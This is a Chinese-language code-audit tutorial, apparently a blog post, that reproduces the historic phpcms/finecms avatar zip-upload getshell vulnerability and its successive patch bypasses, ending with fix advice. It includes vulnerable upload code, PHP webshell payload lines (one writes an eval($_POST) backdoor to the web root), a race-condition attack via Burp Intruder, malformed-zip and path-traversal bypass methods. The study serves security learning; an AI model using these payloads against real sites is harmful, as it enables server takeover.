代码审计学习phpcms头像上传漏洞

本篇文章基于p神的文章进行一个学习复现,并了解了当年一些安全圈的事件。原文地址如下
回忆phpcms头像上传漏洞以及后续影响

0x01 最初的phpcms头像上传getshell漏洞

不知道大家还记得phpcms曾经火极一时的头像上传漏洞不,因为这个漏洞,互联网上大量站点被黑,影响极为恶劣。简单来说phpcms对头像上传是这么处理:上传上去的zip文件,它先解压好,然后删除非图片文件。
关键地方代码:

<?php
//存储flashpost图片
  $filename = $dir.$this->uid.'.zip';
  file_put_contents($filename, $this->avatardata);

//此时写入压缩文件夹内容

  //解压缩文件
  pc_base::load_app_class('pclzip', 'phpsso', 0);
  $archive = new PclZip($filename);
  if ($archive->extract(PCLZIP_OPT_PATH, $dir) == 0) {
    
    
   die("Error : ".$archive->errorInfo(true));
  }

//568 行

//判断文件安全,删除压缩包和非jpg图片
  $avatararr = array('180x180.jpg', '30x30.jpg', '45x45.jpg', '90x90.jpg');
  if($handle = opendir($dir)) {
    
    
      while(false !== ($file = readdir($handle))) {
    
    
    if($file !== '.' && $file !== '..') {
    
    
     if(!in_array($file, $avatararr)) {
    
    
      @unlink($dir.$file);
     } else {
    
    
      $info = @getimagesize($dir.$file);
      if(!$info || $info[2] !=2) {
    
    
       @unlink($dir.$file);
      }
     }
    }
}

根据他的代码的代码逻辑我自己搭建了相关环境,如图所示
在这里插入图片描述
第一次上传相关php代码

<?php
header("Content-Type:text/html; charset=utf-8");
require_once('pclzip.lib.php');

$file = $_FILES['file'];
if (!$file) {
    
    
    exit("请勿上传空文件");
}
$name = $file['name'];
$dir = 'upload/';
$ext = strtolower(substr(strrchr($name, '.'), 1));

//递归删除  zip  1   web.php
function check_dir($dir)
{
    
    
    $handle = opendir($dir);
    while (($f = readdir($handle)) !== false) {
    
    
        if (!in_array($f, array('.', '..'))) {
    
    
            $ext = strtolower(substr(strrchr($f, '.'), 1));
            if (!in_array($ext, array('jpg', 'gif', 'png'))) {
    
    
                unlink($dir . $f);
            }
        }
    }
}
if (!is_dir($dir)) {
    
    
    mkdir($dir);
}

 $temp_dir = $dir . 'member/1/';
if (!is_dir($temp_dir)) {
    
    
    mkdir($temp_dir);
}

if (in_array($ext, array('zip', 'jpg', 'gif', 'png'))) {
    
    
    if ($ext == 'zip') {
    
    

        $archive = new PclZip($file['tmp_name']);

        if ($archive->extract(PCLZIP_OPT_PATH, $temp_dir, PCLZIP_OPT_REPLACE_NEWER) == 0) {
    
    
            check_dir($dir);
            exit("解压失败");
        }
        check_dir($temp_dir);
        exit('上传成功!');
    } else {
    
    
        move_uploaded_file($file['tmp_name'], $temp_dir . '/' . $file['name']);
        check_dir($temp_dir);
        exit('上传成功!');
    }
} else {
    
    
    exit('仅允许上传zip、jpg、gif、png文件!');
}

代码逻辑就是上传一个zip后,会新建一个目录进行解压缩,把解压缩后的文件进行一个判断,将图片格式以外的后缀文件进行删除。

我们来测试一下,直接将php代码和正常图片压缩成web.zip进行上传。
在这里插入图片描述
提示上传成功
在这里插入图片描述

进入服务端查看,根据我们的代码,会生成一个member/1的目录,发现我们上传的压缩包已经成功解压缩,但是php代码被删除了,只剩下图片

在这里插入图片描述

但是因为他没有递归删除,也没有删除文件夹,所以我们可以把webshell放在压缩包的文件夹中,即可避免被删除了。把图片和php代码放在一个文件夹中再进行压缩成web.php上传
在这里插入图片描述
上传成功
在这里插入图片描述

查看member/1目录,发现我们上传的文件夹中php代码未被删除,成功绕过。
在这里插入图片描述
这就是phpcms最早的头像上传漏洞。这个漏洞影响的不只是phpcms,也包括抄袭其代码的finecms。

finecms是一个很喜感的cms,在phpcms出问题以后,finecms偷偷将漏洞修复了,当然修复方法就是直接拷贝了phpcms的补丁。

0x02 finecms前台getshell(phpcms补丁绕过)

后来finecms的开发者,自以为自己反应速度得当,在迅雷不及掩耳盗铃的时间内将phpcms的补丁抄了过来,然后就安然度过了半年的悠闲时光。但phpcms的补丁被绕过了无数次难道你不知道么?你这么屌你的用户们知道么?

那么,我们来看看finecms(phpcms代码类似)是怎么修补这个漏洞的:

<?php
public function upload() {
    
    
        if (!isset($GLOBALS['HTTP_RAW_POST_DATA'])) {
    
    

            exit('环境不支持');
        }
        $dir = FCPATH.'member/uploadfile/member/'.$this->uid.'/'; // 创建图片存储文件夹
        
        if (!file_exists($dir)) {
    
    

            mkdir($dir, 0777, true);

        }

        $filename = $dir.'avatar.zip'; // 存储flashpost图片

        file_put_contents($filename, $GLOBALS['HTTP_RAW_POST_DATA']);

        // 解压缩文件

        $this->load->library('Pclzip');

        $this->pclzip->PclFile($filename);

        if ($this->pclzip->extract(PCLZIP_OPT_PATH, $dir, PCLZIP_OPT_REPLACE_NEWER) == 0) {
    
    

            exit($this->pclzip->zip(true));

        }

        // 限制文件名称

        $avatararr = array('45x45.jpg', '90x90.jpg');

        // 删除多余目录

        $files = glob($dir."*");

        foreach($files as $_files) {
    
    

            if (is_dir($_files)) {
    
    

                dr_dir_delete($_files);

            }

            if (!in_array(basename($_files), $avatararr)) {
    
    

                @unlink($_files);

            }

        }

        // 判断文件安全,删除压缩包和非jpg图片

        if($handle = opendir($dir)) {
    
    

            while (false !== ($file = readdir($handle))) {
    
    

                if ($file !== '.' && $file !== '..') {
    
    

                    if (!in_array($file, $avatararr)) {
    
    

                        @unlink($dir . $file);

                    } else {
    
    

                        $info = @getimagesize($dir . $file);

                        if (!$info || $info[2] !=2) {
    
    

                            @unlink($dir . $file);

                        }

                    }

                }

            }

            closedir($handle);   

        }

        @unlink($filename);

好,我们看到,之前产生漏洞的原因就是因为没有考虑文件在文件夹中的情况,只删除了压缩包根目录下的非法文件,而没有删除其文件夹中的非法文件。

所以补丁就采用了递归删除的方式,将压缩包中所有非法文件删除。就是这个dr_dir_delete函数。

我们就不研究这个函数了,我们考虑一种情况,那么如果我上传包含这样代码的压缩包:

<?php fputs(fopen('../../../../../shell.php','w'),'<?php phpinfo();eval($_POST[a]);?>');?>

在文件上传解压到被删除这个时间差里访问,就能在网站根目录下生成新的php文件,那么新生成的php文件是不会被删除的。

这就是一个竞争性上传漏洞,需要我们抓住这个时间差,在上传的php文件还没被删除前访问到它,就能够暴力getshell了。

所以修改我们之前所搭建的环境,将php代码中的第一个function递归删除的函数替换成以下代码。

function check_dir($dir){
    
    
    $handle = opendir($dir);
    while(($f = readdir($handle)) !== false){
    
    
        if(!in_array($f, array('.', '..'))){
    
    
            if(is_dir($dir.$f)){
    
    
                check_dir($dir.$f.'/');
             }else{
    
    
                $ext = strtolower(substr(strrchr($f, '.'), 1));
                if(!in_array($ext, array('jpg', 'gif', 'png'))){
    
    
                    unlink($dir.$f);
                }
            }
        }
    }
}

这里使用了递归删除,所以上传文件夹不能绕过了,我们可以尝试测试一下。
在这里插入图片描述
上传后发现文件夹中只剩图片了,php代码被删除了,但是因为他这里上传文件夹后代码名字未修改,并且他是先上传再删除,所以存在一个时间竞争漏洞。我们可以尝试一下。

根据我们之前上传的路径为

http://127.0.0.1/xss_location/upload.php/member/1/1/web.php

他需要跳跃三次才能到达跟目录,所以我们的payload如下

<?php fputs(fopen('../../../payload.php','w'),'<?php phpinfo(); ?>');

用时间竞争型漏洞直接在根目录下写入我们的一句话木马,这样他递归删除只是删除当前文件夹的,不会检测根目录。尝试一下

打开burpsuit,上传1.zip并重发到Intruder模块中,准备模拟多次上传
在这里插入图片描述
设置访问次数为5000次
在这里插入图片描述
在抓取我们要访问的目录代码,上传到Intruder模块
在这里插入图片描述
payload设置成6000次
在这里插入图片描述
两个同时开始start attack。
但是由于可能是我用本机搭建的抓包的原因,导致用burp发包的方式文件显示上传,但服务端接收不到,但代码中肯定是存在这个时间竞争问题的,这里就不做演示了。

0x03 突破程序员的小聪明,phpcms补丁的继续绕过

于是finecms意识到自己的问题,偷偷修补了这个安全问题。当时的他们是这样修复的:

<?php
// 创建图片存储的临时文件夹

   $temp = FCPATH.'cache/attach/'.md5(uniqid().rand(0, 9999)).'/';

   if (!file_exists($temp)) {
    
    

       mkdir($temp, 0777);

   }

   $filename = $temp.'avatar.zip'; // 存储flashpost图片

   file_put_contents($filename, $GLOBALS['HTTP_RAW_POST_DATA']);

   // 解压缩文件

   $this->load->library('Pclzip');

   $this->pclzip->PclFile($filename);

   if ($this->pclzip->extract(PCLZIP_OPT_PATH, $temp, PCLZIP_OPT_REPLACE_NEWER) == 0) {
    
    

       exit($this->pclzip->zip(true));

   }

   @unlink($filename);

说起来这也是phpcms曾经的修复方法,就是将压缩包放在一个随机命名的文件夹中再解压缩,这样你猜不到访问地址也就没法去暴力getshell了。

但是实质上这也只是解决了一个芝麻小的问题,而真正出现漏洞的点他们并未进行修复。

我们看到这段代码:

<?php
if ($this->pclzip->extract(PCLZIP_OPT_PATH, $dir, PCLZIP_OPT_REPLACE_NEWER) == 0) {
    
    

    exit($this->pclzip->zip(true));

}

当解压发生失败时,就退出解压缩过程。

这也是一个很平常的思路,失败了肯定要报错并退出,因为后面的代码没法运行了。但是,程序员不会想到,有些压缩包能在解压到一半的时候出错。

什么意思,也就说我可以构造一个“出错”的压缩包,它可以解压出部分文件,但绝对会在解压未完成时出错。这是造成了一个状况:我上传的压缩包被解压了一半,webshell被解压出来了,但因为解压失败这里exit($this->pclzip->zip(true));退出了程序执行,后面一切的删除操作都没有了作用。

怎么样构造一个解压会出错的压缩包,可以查看我的这篇文章
如何构造一个出错的zip

我这里使用php中的自带的ZipArchive库进行复现。首先将一个php代码和一个txt文本文件压缩成一个zip文件。
在这里插入图片描述
为了让ZipArchive出错,比如,Windows下不允许文件名中包含冒号(:),
我们就可以通过在010editor中将1.txt的deFileName属性的值改成“1.tx:”。
在这里插入图片描述
此时解压就会出错,但1.php被保留了下来。
尝试上传,提示fail to extract
在这里插入图片描述
查看服务端,发现php代码成功上传
在这里插入图片描述
ZipArchive相关代码如下

    if ($ext == 'zip') {
    
    
        $zip = new ZipArchive;
        if(!$zip->open($file['tmp_name'])) {
    
    
            echo "fail";
            return false;
        }
        if(!$zip->extractTo($temp_dir)) {
    
    
            //check_dir($temp_dir);
            exit("fail to extract");
        }

0x04 加了行代码就真的安全了吗?终极手段上!

最后,finecms官网被p神日了之后,依旧无耻地说自己已经修复了这个漏洞,真稀奇。

最后更新的代码

<?php
if (!isset($GLOBALS['HTTP_RAW_POST_DATA'])) {
    
    

    exit('环境不支持');

}

// 创建图片存储文件夹

$dir = FCPATH.'member/uploadfile/member/'.$this->uid.'/';

if (!file_exists($dir)) {
    
    

    mkdir($dir, 0777, true);

}

// 创建图片存储的临时文件夹

$temp = FCPATH.'cache/attach/'.md5(uniqid().rand(0, 9999)).'/';

if (!file_exists($temp)) {
    
    

    mkdir($temp, 0777);

}

$filename = $temp.'avatar.zip'; // 存储flashpost图片

file_put_contents($filename, $GLOBALS['HTTP_RAW_POST_DATA']);

// 解压缩文件

$this->load->library('Pclzip');

$this->pclzip->PclFile($filename);

if ($this->pclzip->extract(PCLZIP_OPT_PATH, $temp, PCLZIP_OPT_REPLACE_NEWER) == 0) {
    
    

    @dr_dir_delete($temp);

    exit($this->pclzip->zip(true));

}

@unlink($filename);

加了行代码:@dr_dir_delete($temp);,解压出错后,在exit前将已经解压出来的内容删除了。确实避免了我在0×03中说到的安全问题。

但finecms的开发者依旧是没有能看到真正造成这个漏洞的原因。

原因就出在解压压缩包的这个操作上。这个类你就把别人的代码拿来一抄就觉得完毕了,你知道这个类真正的用法么?大家猜猜我这次怎么绕过上诉补丁的。

压缩包中通常是不含有诸如“…/”、“…”这种文件名的,但通常不含有不代表不能含有。我如果把压缩包中某文件名改成…/…/…/…/…/index.php,是不是就能直接把你首页变成我的webshell呀?

这就是因为抄袭者并没有真正领悟zip这个类的使用方法,导致了这个安全问题。我在本地用notepad++即可修改、构造一个压缩包。

先把自己的shell改名字成aaaaaaaaaaaaaaaaaaaaa.php

之所以起这个名字,就是预留一些空间,方便我之后将文件名改成…/…/aaaaaaaaaaaaaaaaaaaaa.php而不用怕字符串长度不对。

把文件直接打包成zip,用010Editor打开:
修改成如图所示
在这里插入图片描述

然后就大功告成。

上传头像时抓包将刚才构造的压缩包贴进去:
在这里插入图片描述

然后,网站根目录下就会有你的shell了:aaaaaaaaaaa.php
在这里插入图片描述

通过这个方法,就能无限制地getshell

0x05总结,如何修复这个安全问题

究竟是什么原因造成了这个漏洞,究其根本还是以为你将用户不安全的POST数据写入了文件,并解压到web目录下了。

世界上有无数种方法可以避免这个问题,web目录下随便写文件真的好吗?为何你不把压缩包放进tmp目录里,如果上传、解压缩的操作都能在tmp目录里完成,再把我们需要的头像文件拷贝到web目录中,还会有这么麻烦的安全问题吗?

phpcms已经彻底抛弃了解压缩的方式,直接在前端将图片处理完成后进行上传。但愚昧的finecms开发者还是抱着自己无知的思路,去用近乎“黑名单”的方式去解决这个问题,那就是黑客怎么日,他就怎么补,永远不知道下一步黑客会从哪里进入。这样的人永远只能落后挨打,这样的cms迟早会成为一个打满补丁的破布,每一个补丁都将付出无数速度与效率的代价。所以现在finecms已经被时代淘汰了

猜你喜欢

转载自blog.csdn.net/m0_46467017/article/details/126358718